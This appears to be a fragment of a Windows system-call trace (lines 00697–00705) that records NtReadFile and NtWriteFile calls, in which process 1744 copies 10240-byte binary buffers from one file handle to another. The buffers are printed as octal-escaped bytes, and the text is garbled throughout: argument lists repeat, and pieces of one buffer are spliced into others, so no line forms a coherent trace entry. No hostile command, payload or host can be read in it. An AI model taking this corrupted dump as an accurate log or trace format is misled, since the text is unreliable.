p\202\301\337P\357|\344\266\226]\17\350\361\367'5\341\251\310&lG#\11U\302\34\2\212\177l\3\32W\204\211\312G\272\254D\313\324\L\217\17\14\16\236\1d\0\235\22\354W\344\324\217\333v\274\355\266\313$\203\247a\16\323\252[$\357\361\17", ) , ) == 0x0
 00697  1744   NtWriteFile  (108, 0, 0, 0,  (108, 0, 0, 0, "U\106\34o\301\21\0\12^]|\168M\221\3311]\33\26\31\220\220\330\225\273\262P\12\254\27\213QO\10d\203\220\4\10#\314\322,\2100\306{\22A\16\341\311\370F(I\3446\33\37\4\317\360f\320\374\2643\6\303\341\151\202\3704\336lB\266Pd\360X>6\322 \3042GW\310\204\310\257L.qP\351D\0(\1\334\200\24\203:*\12p\5\5\34k\253\326\12\350P\322<&p\256\10Vtu\310E\206\25\212\335\315\354\10\306\0g)\2039\370\251\373$\312\232BC9R\32@W\344\22061\15\213A4\324\251\251\315\I\25\5-\314$\230\365@\15R\314P\223\200\221\255\222\356\334\231\321$\370\245}Uu\300\213]\304\313Y\226\357\214\303\250\306\254\260\264FP\16\341\2248\310S\1\236\2507\225&\324(\217\263\263\305\223\366:'\250\241\0\276mo8\203xXm0\213\264\213JX-$\7\220\177\310 ^\31\343+\227\24\377\377\12,x<\231!\30d\360\324\221x]=.\243\261\324e\347\354\1\333\14p\12\336\363Pgc\310\266\36B#\350y\350\135i\266\344&\344X\17\11\335\3350\2\2`@\3\222H\250\211BX;2$[\347\324\324S\243\17\204\21\262\1\354\37\261\22dH\310\324\7\304Z\274e\251\347$\13\13\33a\206\314\206[\254\360\335\17", 10240, 0x0, 0, ... {status=0x0, info=10240}, ) \301\21\0\12^]|\168M\221\3311]\33\26\31\220\220\330\225\273\262P\12\254\27\213QO\10d\203\220\4\10#\314\322,\2100\306{\22A\16\341\311\370F(I\3446\33\37\4\317\360f\320\374\2643\6\303\341\151\202\3704\336lB\266Pd\360X>6\322 \3042GW\310\204\310\257L.qP\351D\0(\1\334\200\24\203:*\12p\5\5\34k\253\326\12\350P\322<&p\256\10Vtu\310E\206\25\212\335\315\354\10\306\0g)\2039\370\251\373$\312\232BC9R\32@W\344\22061\15\213A4\324\251\251\315\I\25\5-\314$\230\365@\15R\314P\223\200\221\255\222\356\334\231\321$\370\245}Uu\300\213]\304\313Y\226\357\214\303\250\306\254\260\264FP\16\341\2248\310S\1\236\2507\225&\324(\217\263\263\305\223\366:'\250\241\0\276mo8\203xXm0\213\264\213JX-$\7\220\177\310 ^\31\343+\227\24\377\377\12,x<\231!\30d\360\324\221x]=.\243\261\324e\347\354\1\333\14p\12\336\363Pgc\310\266\36B#\350y\350\135i\266\344&\344X\17\11\335\3350\2\2`@\3\222H\250\211BX;2$[\347\324\324S\243\17\204\21\262\1\354\37\261\22dH\310\324\7\304Z\274e\251\347$\13\13\33a\206\314\206[\254\360\335\17", 10240, 0x0, 0, ... {status=0x0, info=10240}, ) == 0x0
 00698  1744   NtReadFile  (104, 0, 0, 0, 10240, 0x0, 0, ... {status=0x0, info=10240},  (104, 0, 0, 0, 10240, 0x0, 0, ... {status=0x0, info=10240}, "_\335'X0\159w\271\25 H[R\357\30\302\211`\340\335\272\236H\210\264\276\3458\232\233}\220[l\221m\217IZ\354CtY\206D\266\0\332TOT\330{\25d\223}86\354\177\275\345\30zF!\344w}\226\313\211^\14\374o\0\35A\177\347z\364*T@\242\236\264C\230c6\301\367\232\270\235\23\177K\20&o\227\363\261\264z%\232\227 9\243\233<\274\217\224\2529\22^\240\14\0pl\323w\350\6\276\240\225k\10\262\317X9~Y\2273"V\371\256\20\303{\4qsi]?\33j4{Y3\306>]8\270&\3638\5\204Q)>\214\210fV\270i\216\310b\231\21\366\215\24\254K\310G\357\13\32\230y?\203o\357k'2\307\2214\373\344\257\274\327-\367\2111\324\27lYMl\373\230B\31l\234\177T\372jI\1\246\34\244\4\347\352\35\322\2O:D\230\35\33\304\15a\247w\263.\345\212\300\h\10t\340n\267\327\37$\215\375\20\247|\200\30\35\300\2\21\27Jtj\233~)D\242\\202\3550\16~\334\363\237\301j\316o\323\264\335\371\237_\10\16\211&\324~U\272K\5\245\333\27\200\2608#M\214D\327\302\372\373\251\257\347\250\223\202\374\260\245\321\201~'\212\317\225\6\201xM\302\356i\340\363\177S\225tc\34\225r\12\15D\177o\344c2\13\236\7\243\36\205&\330\355\205\341t\32\10\370\3639C\343\233\0\307\164\33\375\363\301\355\276\35\235 \37\364\344?\10\372\363:>\337\301\355\222\364\316\35\2s6\221\344\7n\305\32\340\356\11p\370gux\220\217:\3 \237\4\10 )\266\325\274+\203YP-\267\207\355\323\255"\250f\20\362\30\322\261\372\24[\15\207\240\345\3\302\303\206\5\264\330\323\321\6\305\323Bm\221\25\1", ) V\371\256\20\303{\4qsi]?\33j4{Y3\306>]8\270&\3638\5\204Q)>\214\210fV\270i\216\310b\231\21\366\215\24\254K\310G\357\13\32\230y?\203o\357k'2\307\2214\373\344\257\274\327-\367\2111\324\27lYMl\373\230B\31l\234\177T\372jI\1\246\34\244\4\347\352\35\322\2O:D\230\35\33\304\15a\247w\263.\345\212\300\h\10t\340n\267\327\37$\215\375\20\247|\200\30\35\300\2\21\27Jtj\233~)D\242\\202\3550\16~\334\363\237\301j\316o\323\264\335\371\237_\10\16\211&\324~U\272K\5\245\333\27\200\2608#M\214D\327\302\372\373\251\257\347\250\223\202\374\260\245\321\201~'\212\317\225\6\201xM\302\356i\340\363\177S\225tc\34\225r\12\15D\177o\344c2\13\236\7\243\36\205&\330\355\205\341t\32\10\370\3639C\343\233\0\307\164\33\375\363\301\355\276\35\235 \37\364\344?\10\372\363:>\337\301\355\222\364\316\35\2s6\221\344\7n\305\32\340\356\11p\370gux\220\217:\3 \237\4\10 )\266\325\274+\203YP-\267\207\355\323\255 (104, 0, 0, 0, 10240, 0x0, 0, ... {status=0x0, info=10240}, "_\335'X0\159w\271\25 H[R\357\30\302\211`\340\335\272\236H\210\264\276\3458\232\233}\220[l\221m\217IZ\354CtY\206D\266\0\332TOT\330{\25d\223}86\354\177\275\345\30zF!\344w}\226\313\211^\14\374o\0\35A\177\347z\364*T@\242\236\264C\230c6\301\367\232\270\235\23\177K\20&o\227\363\261\264z%\232\227 9\243\233<\274\217\224\2529\22^\240\14\0pl\323w\350\6\276\240\225k\10\262\317X9~Y\2273"V\371\256\20\303{\4qsi]?\33j4{Y3\306>]8\270&\3638\5\204Q)>\214\210fV\270i\216\310b\231\21\366\215\24\254K\310G\357\13\32\230y?\203o\357k'2\307\2214\373\344\257\274\327-\367\2111\324\27lYMl\373\230B\31l\234\177T\372jI\1\246\34\244\4\347\352\35\322\2O:D\230\35\33\304\15a\247w\263.\345\212\300\h\10t\340n\267\327\37$\215\375\20\247|\200\30\35\300\2\21\27Jtj\233~)D\242\\202\3550\16~\334\363\237\301j\316o\323\264\335\371\237_\10\16\211&\324~U\272K\5\245\333\27\200\2608#M\214D\327\302\372\373\251\257\347\250\223\202\374\260\245\321\201~'\212\317\225\6\201xM\302\356i\340\363\177S\225tc\34\225r\12\15D\177o\344c2\13\236\7\243\36\205&\330\355\205\341t\32\10\370\3639C\343\233\0\307\164\33\375\363\301\355\276\35\235 \37\364\344?\10\372\363:>\337\301\355\222\364\316\35\2s6\221\344\7n\305\32\340\356\11p\370gux\220\217:\3 \237\4\10 )\266\325\274+\203YP-\267\207\355\323\255"\250f\20\362\30\322\261\372\24[\15\207\240\345\3\302\303\206\5\264\330\323\321\6\305\323Bm\221\25\1", ) , ) == 0x0
 00699  1744   NtWriteFile  (108, 0, 0, 0,  (108, 0, 0, 0, "\327\302\13X\270\22\25w1\12\14H\323M\303\30J\226L\340U\245\262H\0\253\222\345\260\205\267}\30D@\221\345\220eZd\XY\16[\232\0RKcTPd9d\33b\246d`\221\345\220ej!lhQ\226C\226r\14tp,\35\311`\313z|5x@*\201\230C\20|\32\301\177\205\224\235\233`g\20\256p\273\3639\253V%\22\210\149+\204\20\274\7\213\2069\232A\214\14\210o@\323\377\367*\276(\212G\10:\320t9\366F\2733\252I\325\256\230\334W\4\371lE]\267\4F4\363F\37\306\266B\24\270\256\354\24\5\14N\5>\4\227JV0v\242\310\352\206=\366\5\13\200K@X\303\13\222\207U?\13p\303k\257-\353\221\274\344\310\2574\310\1\367\1.\370\27\344Fals\207n\31\344\203STrue\1.\3\210\4o\3651\322\212P\26D\20\27\304\205~\213w;1\311\212HCD\10\374\377B\267_\0\10\215u\17\213|\10\71\300\212\16;J\374u\267~\241[\216\\12\362\34\16\366\303\337\237Iu\342o[\253\361\371\27@$\16\19\370~\335\245g\5-\304;\2008'\17M\4[\373\302r\344\205\257o\267\277\202t\257\211\321\11a\13\212G\212*\201\360R\356\356\341\377\337\177\333\212Xc\224\212^\12\205[Sol|\36\13\26\30\217\36\159\364\355\15\376X\32\200\347\3379\313\374\267\0O\21\30\33u\354\355\3556\2\261 \227\353\310?\200\345\337:\266\300\355\355\32\353\342\35\212l\32\221l\30B\305\222\377\302\11\370\347Ku\360\217\243:\213?\263\4\200?\5\266]\243\7\203\321O\1\267\17\362\377\255\252\267J\20z\7\376\261r\13w\15\17\277\311\3J\334\252\5<\307\377\321\216\332\377B\345\2169\1", 10240, 0x0, 0, ... {status=0x0, info=10240}, ) , 10240, 0x0, 0, ... {status=0x0, info=10240}, ) == 0x0
 00700  1744   NtReadFile  (104, 0, 0, 0, 10240, 0x0, 0, ... {status=0x0, info=10240},  (104, 0, 0, 0, 10240, 0x0, 0, ... {status=0x0, info=10240}, "\36\364\321\265\10\310\200f\333\226\251\6\236\237\246\265\377\331\251\227\367\21[\21\356\240\230\22\335\23I\211\201\277u\6;\330M\35\270\2430\210\202\37\230\274\3571k\263\3715\3540\221F\2674\211\330.\316\14\275s\271\1\210\30t\200E(\310\25\233\272\244\243\301\335t\353D\177\364\335M\10\361\335\27~"\317\237\3525\0\223i\13\300\235\207\200&\225 &\241\237\35\254\265\373\307\12\225\24[\266~\231\321\13\307\225y\373\237Niv\275y\355i\270\236\3101OCZ\214\255g\0\2\202_\256\32\14\24\324B/\11\254{\275\251<\31F\201\\353\217;\370\350\273\237\272t\13]\13!\340Fl{\33\35\241\5\234\371\357\377\2452\300N\356\276\273\360\356\270\14\364\235\231\214\266\\25\330\364X\325<\240\252O\234\326\245\306+CtRC\0\263O\20/\244>\17\207\230h\208\223m\344\310\264'\208\241>\12\205/\370c\210\217\304\27w\323\21\270\341\211\23\214\346I\202,\233\200e*\243\223\35\2,M\330z\272".:z~\335<\360\331\222\276`\13\118\310lC\276\246(\254cXx\3640\30\324\277\207a@\254<\35\273\326x\17\37\2257\0\17\3634\1Jo\365\22*\21\357^\267\36\336\204\323\230\7\271\335\341\330\15=\351(\322\365\351i\376\377I\364\353\242\16\0\332\212Y\320\26Vb\37:\264b'`\34\6f\33\206\205DO\31[q\25\200;\16\16\211\3m\340\350\210N\364\313\225>\20|E\212\266\216\26C\21p\357\200\0\220\377(U\246\26\5*\201\33\213\26\200O@\2534\353?\4C\227\13\247\312\31\6H`\207\3379QQ\231j}\31\334\354ft~\321[_\324\234J\35\30\0\333hR\350\367oG\330$\173\322pJq8", ) \317\237\3525\0\223i\13\300\235\207\200&\225 &\241\237\35\254\265\373\307\12\225\24[\266~\231\321\13\307\225y\373\237Niv\275y\355i\270\236\3101OCZ\214\255g\0\2\202_\256\32\14\24\324B/\11\254{\275\251<\31F\201\\353\217;\370\350\273\237\272t\13]\13!\340Fl{\33\35\241\5\234\371\357\377\2452\300N\356\276\273\360\356\270\14\364\235\231\214\266\\25\330\364X\325<\240\252O\234\326\245\306+CtRC\0\263O\20/\244>\17\207\230h\208\223m\344\310\264'\208\241>\12\205/\370c\210\217\304\27w\323\21\270\341\211\23\214\346I\202,\233\200e*\243\223\35\2,M\330z\272 (104, 0, 0, 0, 10240, 0x0, 0, ... {status=0x0, info=10240}, "\36\364\321\265\10\310\200f\333\226\251\6\236\237\246\265\377\331\251\227\367\21[\21\356\240\230\22\335\23I\211\201\277u\6;\330M\35\270\2430\210\202\37\230\274\3571k\263\3715\3540\221F\2674\211\330.\316\14\275s\271\1\210\30t\200E(\310\25\233\272\244\243\301\335t\353D\177\364\335M\10\361\335\27~"\317\237\3525\0\223i\13\300\235\207\200&\225 &\241\237\35\254\265\373\307\12\225\24[\266~\231\321\13\307\225y\373\237Niv\275y\355i\270\236\3101OCZ\214\255g\0\2\202_\256\32\14\24\324B/\11\254{\275\251<\31F\201\\353\217;\370\350\273\237\272t\13]\13!\340Fl{\33\35\241\5\234\371\357\377\2452\300N\356\276\273\360\356\270\14\364\235\231\214\266\\25\330\364X\325<\240\252O\234\326\245\306+CtRC\0\263O\20/\244>\17\207\230h\208\223m\344\310\264'\208\241>\12\205/\370c\210\217\304\27w\323\21\270\341\211\23\214\346I\202,\233\200e*\243\223\35\2,M\330z\272".:z~\335<\360\331\222\276`\13\118\310lC\276\246(\254cXx\3640\30\324\277\207a@\254<\35\273\326x\17\37\2257\0\17\3634\1Jo\365\22*\21\357^\267\36\336\204\323\230\7\271\335\341\330\15=\351(\322\365\351i\376\377I\364\353\242\16\0\332\212Y\320\26Vb\37:\264b'`\34\6f\33\206\205DO\31[q\25\200;\16\16\211\3m\340\350\210N\364\313\225>\20|E\212\266\216\26C\21p\357\200\0\220\377(U\246\26\5*\201\33\213\26\200O@\2534\353?\4C\227\13\247\312\31\6H`\207\3379QQ\231j}\31\334\354ft~\321[_\324\234J\35\30\0\333hR\350\367oG\330$\173\322pJq8", ) , ) == 0x0
 00701  1744   NtWriteFile  (108, 0, 0, 0,  (108, 0, 0, 0, "\226\353\375\265\200\327\254fS\211\205\6\26\200\212\265w\306\205\227\177\16w\21f\277\264\22U\14e\211\11\240Y\6\263\307a\350\274\34\210\264{\237\240\212\215\225>\12\0\264\274g.G\263q*\3000\31Y\2334\1\307\2\316\204\242_\271\211\2274t\10Z\4\310\235\204\226\244+\336\361tc[S\364UR$\361U\10R"G\200\3065\210\214E\13H\202\253\200\256\212\14&)\2001\254=\344\353\12\35\13w\266\366\206\375\13O\212U\373\27QEv5f\301i0\201\3441\307\v\214%x,\2\12@\202\32\204\13\370B\247\26\200{5\266\20\31\316\236p\353\7$\324\3503\200\226t\203B'!hY@{\223\2\215\5\24\346\303\377--\354Nf\241\227\360f\247 \364\25\206\240\266\324\12\364\364\320\312\20\240"P\260\326-\331\7C\374Mo\0;P\16\1\34A\340`\227b\364C\212\22\20\364Z\246\266\6\11o\21\370\360\254\0\30\340\4U.\11)*\11\4\247\26\10Pl\253\274\364\23\4\313\210'\247B\6*H\350\230\3639\331N\265j\365\6\360\354\356kR\321\323@\370\234\302\24\0Sw~\350\177pk\330\254\20\37\322\370U]8", 10240, 0x0, 0, ... {status=0x0, info=10240}, ) G\200\3065\210\214E\13H\202\253\200\256\212\14&)\2001\254=\344\353\12\35\13w\266\366\206\375\13O\212U\373\27QEv5f\301i0\201\3441\307\v\214%x,\2\12@\202\32\204\13\370B\247\26\200{5\266\20\31\316\236p\353\7$\324\3503\200\226t\203B'!hY@{\223\2\215\5\24\346\303\377--\354Nf\241\227\360f\247 \364\25\206\240\266\324\12\364\364\320\312\20\240 (108, 0, 0, 0, "\226\353\375\265\200\327\254fS\211\205\6\26\200\212\265w\306\205\227\177\16w\21f\277\264\22U\14e\211\11\240Y\6\263\307a\350\274\34\210\264{\237\240\212\215\225>\12\0\264\274g.G\263q*\3000\31Y\2334\1\307\2\316\204\242_\271\211\2274t\10Z\4\310\235\204\226\244+\336\361tc[S\364UR$\361U\10R"G\200\3065\210\214E\13H\202\253\200\256\212\14&)\2001\254=\344\353\12\35\13w\266\366\206\375\13O\212U\373\27QEv5f\301i0\201\3441\307\v\214%x,\2\12@\202\32\204\13\370B\247\26\200{5\266\20\31\316\236p\353\7$\324\3503\200\226t\203B'!hY@{\223\2\215\5\24\346\303\377--\354Nf\241\227\360f\247 \364\25\206\240\266\324\12\364\364\320\312\20\240"P\260\326-\331\7C\374Mo\0;P\16\1\34A\340`\227b\364C\212\22\20\364Z\246\266\6\11o\21\370\360\254\0\30\340\4U.\11)*\11\4\247\26\10Pl\253\274\364\23\4\313\210'\247B\6*H\350\230\3639\331N\265j\365\6\360\354\356kR\321\323@\370\234\302\24\0Sw~\350\177pk\330\254\20\37\322\370U]8", 10240, 0x0, 0, ... {status=0x0, info=10240}, ) \16\1\34A\340`\227b\364C\212\22\20\364Z\246\266\6\11o\21\370\360\254\0\30\340\4U.\11)*\11\4\247\26\10Pl\253\274\364\23\4\313\210'\247B\6*H\350\230\3639\331N\265j\365\6\360\354\356kR\321\323@\370\234\302\24\0Sw~\350\177pk\330\254\20\37\322\370U]8", 10240, 0x0, 0, ... {status=0x0, info=10240}, ) == 0x0
 00702  1744   NtReadFile  (104, 0, 0, 0, 10240, 0x0, 0, ... {status=0x0, info=10240},  (104, 0, 0, 0, 10240, 0x0, 0, ... {status=0x0, info=10240}, "\227p\356#\251\17\354\1103\376\345\354\20\205y\356\335\255\307\310}7\341\226=\256|\211\27\256.\320\119&\253\264\304{\311\255\357\270\206\23\224%\311\243\375\273\1G\12w^\222\\30\237\247\235\263O\25\245\34A\15Q\314\316\245' \200I\267\301\36\267\366\233\345\22\312{\4\37\302YRu0\334T7+\361\375\312\201\210\212\33\353]\210\241\15\264n\367=x\262y3a8\327L\315|\2\320\252\335\215\6\262"\37y\315\366\210\24\322\275i\11_\374\0{\307\206\24.C\2557\2668c\36\303\305*\2530<\321\\302\221\326eq\337L\27\370;@8\237\375V\210;\315\237Y>\354r\364C\334i\30J\334\334\244=\210\25\306\48%\14m\262v\227\303\356\326D*\276\6\371\241x\220\4\30\275\257\207\366\272\307H$\26v!X\277\335\13h\4,\367\265\223\237\3000\277\326\330\246\221\24\2445"\270\32\31\2761]\265\200\11<\214b\10\245\342\244\322\361q\340\267\234$\314\252e\4\210\12\244\367\202A|\345\260\204@\362\232oi\344\330\2475F\22\223'\254\15\177\245\24^\237\250\35\342[\30=\216\177\17FS\222\212H&\240\240\2\316\241\307 \340}\273\213\4\36-X0\235\211I\204F\313\362\232\377O\2Z\217\310i\204q\314\14z\32)\333\211\5\314\262\207\230\261\330\202\227\27t\272\341\222j\202\206\314\340\332\263\27\2055h\212\214>\234\1778\326\272\30\204\211\177|\336\275m\357\10\256di\233\5;\217\337\315w\370\341":\311\272\307\276\215\236\323\5\343\203Ud\7", ) \37y\315\366\210\24\322\275i\11_\374\0{\307\206\24.C\2557\2668c\36\303\305*58\326ZYdr!P\246B\300\271\377ST\353\265\256\226\370\230k%FT\7B\303\200\271\13\25T\1$D\367\207\301\242\353?\231\347H_\225\14\273^\371\222\364\36\222v\0>\2530<\321\\302\221\326eq\337L\27\370;@8\237\375V\210;\315\237Y>\354r\364C\334i\30J\334\334\244=\210\25\306\48%\14m\262v\227\303\356\326D*\276\6\371\241x\220\4\30\275\257\207\366\272\307H$\26v!X\277\335\13h\4,\367\265\223\237\3000\277\326\330\246\221\24\2445 (104, 0, 0, 0, 10240, 0x0, 0, ... {status=0x0, info=10240}, "\227p\356#\251\17\354\1103\376\345\354\20\205y\356\335\255\307\310}7\341\226=\256|\211\27\256.\320\119&\253\264\304{\311\255\357\270\206\23\224%\311\243\375\273\1G\12w^\222\\30\237\247\235\263O\25\245\34A\15Q\314\316\245' \200I\267\301\36\267\366\233\345\22\312{\4\37\302YRu0\334T7+\361\375\312\201\210\212\33\353]\210\241\15\264n\367=x\262y3a8\327L\315|\2\320\252\335\215\6\262"\37y\315\366\210\24\322\275i\11_\374\0{\307\206\24.C\2557\2668c\36\303\305*\2530<\321\\302\221\326eq\337L\27\370;@8\237\375V\210;\315\237Y>\354r\364C\334i\30J\334\334\244=\210\25\306\48%\14m\262v\227\303\356\326D*\276\6\371\241x\220\4\30\275\257\207\366\272\307H$\26v!X\277\335\13h\4,\367\265\223\237\3000\277\326\330\246\221\24\2445"\270\32\31\2761]\265\200\11<\214b\10\245\342\244\322\361q\340\267\234$\314\252e\4\210\12\244\367\202A|\345\260\204@\362\232oi\344\330\2475F\22\223'\254\15\177\245\24^\237\250\35\342[\30=\216\177\17FS\222\212H&\240\240\2\316\241\307 \340}\273\213\4\36-X0\235\211I\204F\313\362\232\377O\2Z\217\310i\204q\314\14z\32)\333\211\5\314\262\207\230\261\330\202\227\27t\272\341\222j\202\206\314\340\332\263\27\2055h\212\214>\234\1778\326\272\30\204\211\177|\336\275m\357\10\256di\233\5;\217\337\315w\370\341":\311\272\307\276\215\236\323\5\343\203Ud\7", ) :\311\272\307\276\215\236\323\5\343\203Ud\7", ) == 0x0
 00703  1744   NtWriteFile  (108, 0, 0, 0,  (108, 0, 0, 0, "\37o\302#!\20\300\11\270,\322\345d\17\251yf\302\201\307@b\33\341\36"\202|\1\10\202.X\26\25&#\253\350{A\262\303\270\16\14\270%A\274\321\273\211X&w\326\215p\30\27\270\261\263\307\12\211\34\311\22}\314F\272\13 \10V\233\301\226\250\332\233m\15\346{\214\0\356Y\332j\34\334\334(\7\361u\325\255\210\2\4\307]\0\276!\264\346\350\21x:f\37a\260\310`\315\364\35\374\252U\222*\262\252\0U\315~\2278\3225v%_t\37W\307\16\13\2C%(\2328\353\1\357\305\242#n\5\260\311vY\354m\15P.]\354\271wLx\353=\261\272\370\20t\11F\334\30n\303\10\246'\25\334\36\10D\177\230\355\242c \265\347\300@\271\143A\325\222|\1\276v\210!\2070\264\316p\302\31\311IqWS;\370\263_\24\237uI\244;E\200u>dm\330CTv4JT\303\210=\0\12\352\4\260: m:i\273\303f\311h*6\31\325\241\360\217(\305\260\253\3662\330d$\236i\15X7\302'h\2143\333\265\33\200\35407\311\364\246\31\13\2105\252\2476\316.q\265\10\26\20\214\352\27\211\342,\315\335qh\250\260$D\265I\4\0\25\210\367\12^P\3458\233l\362\22pE\344P\270\31F\232\214\13\254\205`\211\24\326\200\204\35jD4=\6`#F\333\215\246H\256\277\214\2F\276\353 hb\227\213\214\1\1X\270\202\245I\14Y\347\362\22\340c\2\322\220\344i\14n\340\14\362\5\5\333\1\32\340\262\17\207\235\330\12\210;t2\376\276j\12\231\340\340R\254;\205\275w\246\21\274!\260\177\260\311\226\30\14\226S|V\242A\357\200\261Hi\23\32\27\217W\322[\370i=\26\3112\330\222\215\26\314)\343\13JH\7", 10240, 0x0, 0, ... {status=0x0, info=10240}, ) \202|\1\10\202.X\26\25&#\253\350{A\262\303\270\16\14\270%A\274\321\273\211X&w\326\215p\30\27\270\261\263\307\12\211\34\311\22}\314F\272\13 \10V\233\301\226\250\332\233m\15\346{\214\0\356Y\332j\34\334\334(\7\361u\325\255\210\2\4\307]\0\276!\264\346\350\21x:f\37a\260\310`\315\364\35\374\252U\222*\262\252\0U\315~\2278\3225v%_t\37W\307\16\13\2C%(\2328\353\1\357\305\242#n\5\260\311vY\354m\15P.]\354\271wLx\353=\261\272\370\20t\11F\334\30n\303\10\246'\25\334\36\10D\177\230\355\242c \265\347\300@\271\143A\325\222|\1\276v\210!\2070\264\316p\302\31\311IqWS;\370\263_\24\237uI\244;E\200u>dm\330CTv4JT\303\210=\0\12\352\4\260: m:i\273\303f\311h*6\31\325\241\360\217(\305\260\253\3662\330d$\236i\15X7\302'h\2143\333\265\33\200\35407\311\364\246\31\13\2105\252\2476\316.q\265\10\26\20\214\352\27\211\342,\315\335qh\250\260$D\265I\4\0\25\210\367\12^P\3458\233l\362\22pE\344P\270\31F\232\214\13\254\205`\211\24\326\200\204\35jD4=\6`#F\333\215\246H\256\277\214\2F\276\353 hb\227\213\214\1\1X\270\202\245I\14Y\347\362\22\340c\2\322\220\344i\14n\340\14\362\5\5\333\1\32\340\262\17\207\235\330\12\210;t2\376\276j\12\231\340\340R\254;\205\275w\246\21\274!\260\177\260\311\226\30\14\226S|V\242A\357\200\261Hi\23\32\27\217W\322[\370i=\26\3112\330\222\215\26\314)\343\13JH\7", 10240, 0x0, 0, ... {status=0x0, info=10240}, ) == 0x0
 00704  1744   NtReadFile  (104, 0, 0, 0, 10240, 0x0, 0, ... {status=0x0, info=10240},  (104, 0, 0, 0, 10240, 0x0, 0, ... {status=0x0, info=10240}, "\272\201|\20O?l\12:W\20\350V\24z\34\2002\11\14\274\315-\324C8\330\377\10B\225A\252\221\267\275WW'\250W9\336+OA~ \224\324\322\342\312\252\374R\24\1\247\373\30p\307\22\323\10"\332\356\340:-\214x\221Kg$\307J\343\205\7U\374G\33W\276?K\22\213;\11\21{+\15%'\213\254\341\315\317qN\22\220I\377l8U\336\232m\242\252\15\16X%\276\327M\267jX\252\312f}\334\330\302\31@\25\2134|j\16_\301u\326\250\266[\235\333\10\1\15\206\345\325\22\271\225t\213\352\346\21\245QC\11;\271E\237P\373`\223\261sI\206\301w7\3G\37|\13\353\17\14k\231\1\262\212.?\304\13\363@6\3\302B\255x\234\333v\357\246'R\23\3359\215'\304\251G'\377{x\317\332\31\3\20q\20\374\2\230\205\30^\226\0Q\247\2543\321\360\356\342vHm\36\274\232A\200S$Et\221\357 P\225-%'F'\345;\270\237p\310\210\253\34\366\251\277_0;\20\244\442\240\204\277L\24\27\1O\24\221\11\265\275&:\348\275", ) \332\356\340:-\214x\221Kg$\307J\343\205\7U\374G\33W\276?K\22\213;\11\21{+\15%'\213\254\341\315\317qN\22\220I\377l8U\336\232m\242\252\15\16X%\276\327M\267jX\252\312f}\334\330\302\31@\25\2134|j\16_\301u\326\250\266[\235\333\10\1\15\206\345\325\22\271\225t\213\352\346\21\245QC\11;\271E\237P\373`\223\261sI\206\301w7\3G\37|\13\353\17\14k\231\1\262\212.?\304\13\363@6\3\302B\255x\234\333v\357\246'R\23\3359\215'\304\251G'\377{x\317\332\31324{gc\3\2\325J\2604@\260_\2166\304\203\21\376 \335*@\24\207\0\202\32\234a\364;\333;\204\345N\276\216]\215\210o\30\6\333\301\200}S\200#X\226\16\306\313\30\251\373C,\305\1Y\333\6e\210^\250\12\336\273G\337\366\340?\211\214\331l,\210\34\11@\345+.\324\333J\210\25wH\242\214\316W~\250\377=\360\367#\313:\322\267V\237~ZX\371\204\304a\21\223\5\340-\274\317R\4\347\364\0\215\314\344*\205Zb.\300\243\33?\353CI\216j\335\22\14\374\21(\2171R\1\27\2304\356\263\275h[\4\366\31\364\344@4\346\15\276}\0>\3\20q\20\374\2\230\205\30^\226\0Q\247\2543\321\360\356\342vHm\36\274\232A\200S$Et\221\357 P\225-%'F'\345;\270\237p\310\210\253\34\366\251\277_0;\20\244\442\240\204\277L\24\27\1O\24\221\11\265\275&:\348\275", ) == 0x0
 00705  1744   NtWriteFile  (108, 0, 0, 0,  (108, 0, 0, 0, "2\236P\20\307 @\12\262H<\350\336\13V\34\10-%\144\322\1\324\313'\364\377\200]\271A"\216\233\275\337H\13\250\337&\362+\307^R \34\313\376\342B\265\320R\234\36\213\373\220o\353\22[\27\16\332f\377\26-\4g\275K\357;\353Jk\232+UtX7W6 g\22\3$%\21\3634!%\257\224\200\341E\320]N\232\217e\377\344'y\336\22r\216\252\205\21t%6\310a\267\342G\206\312\356b\360\330J\6l\25\3+Pj\206@\355u^\267\232[\25\304$\1\205\231\311\325\232\246\271t\3\365\312\21-No\11\263\246i\237\330\344L\2239le\206Ih\33\3\317\0P\13c\20 k\21\36\236\212\246 \350\13{_\32\3J]\201x\24\304Z\357.8~\23U&\241'L\266k'wdT\317R\6\20S\dKc\213\35\371J8+l\260\327\221\32\304\13\16\322 U5l\24\17\37\256\32\24~\330;S$\250\345\306\241\242]\5\227C\30\216\304\355\200\365L\254#\320\211"\306C\7\205\373\3133\351\1\321\304*e\0A\204\12V\244k\337~\377\23\211\4\306@,\0\3%@m4\2\324\223,f\210\235hd\242\4\321{~ \340\21\360\177<\347:Z\250z\237\366Et\371\14\333M\21\33\32\314-4\320~\4o\353,\215D\373\6\205\322}\2\300+\4\23\353\313V\242jU\35\36\14t\16\4\217\271M-\27\20+\302\2635ww\4~\6\330\344\310+\312\156b,>\213\17]\20t\35\264\205\220A\272\0\331\270\2003Y\357\302\342\376WA\364\205m\200\333;it\31\360\14P\352\11'\3168\311;0\200\\310\0\2640\366!\240s0\263\17\210\4\274-\214\2047S8\27\211P8\221\201\252\221&\262\3\24\275", 10240, 0x0, 0, ... {status=0x0, info=10240}, ) \216\233\275\337H\13\250\337&\362+\307^R \34\313\376\342B\265\320R\234\36\213\373\220o\353\22[\27\16\332f\377\26-\4g\275K\357;\353Jk\232+UtX7W6 g\22\3$%\21\3634!%\257\224\200\341E\320]N\232\217e\377\344'y\336\22r\216\252\205\21t%6\310a\267\342G\206\312\356b\360\330J\6l\25\3+Pj\206@\355u^\267\232[\25\304$\1\205\231\311\325\232\246\271t\3\365\312\21-No\11\263\246i\237\330\344L\2239le\206Ih\33\3\317\0P\13c\20 k\21\36\236\212\246 \350\13{_\32\3J]\201x\24\304Z\357.8~\23U&\241'L\266k'wdT\317R\6\20S\dKc\213\35\371J8+l\260\327\221\32\304\13\16\322 U5l\24\17\37\256\32\24~\330;S$\250\345\306\241\242]\5\227C\30\216\304\355\200\365L\254#\320\211 (108, 0, 0, 0, "2\236P\20\307 @\12\262H<\350\336\13V\34\10-%\144\322\1\324\313'\364\377\200]\271A"\216\233\275\337H\13\250\337&\362+\307^R \34\313\376\342B\265\320R\234\36\213\373\220o\353\22[\27\16\332f\377\26-\4g\275K\357;\353Jk\232+UtX7W6 g\22\3$%\21\3634!%\257\224\200\341E\320]N\232\217e\377\344'y\336\22r\216\252\205\21t%6\310a\267\342G\206\312\356b\360\330J\6l\25\3+Pj\206@\355u^\267\232[\25\304$\1\205\231\311\325\232\246\271t\3\365\312\21-No\11\263\246i\237\330\344L\2239le\206Ih\33\3\317\0P\13c\20 k\21\36\236\212\246 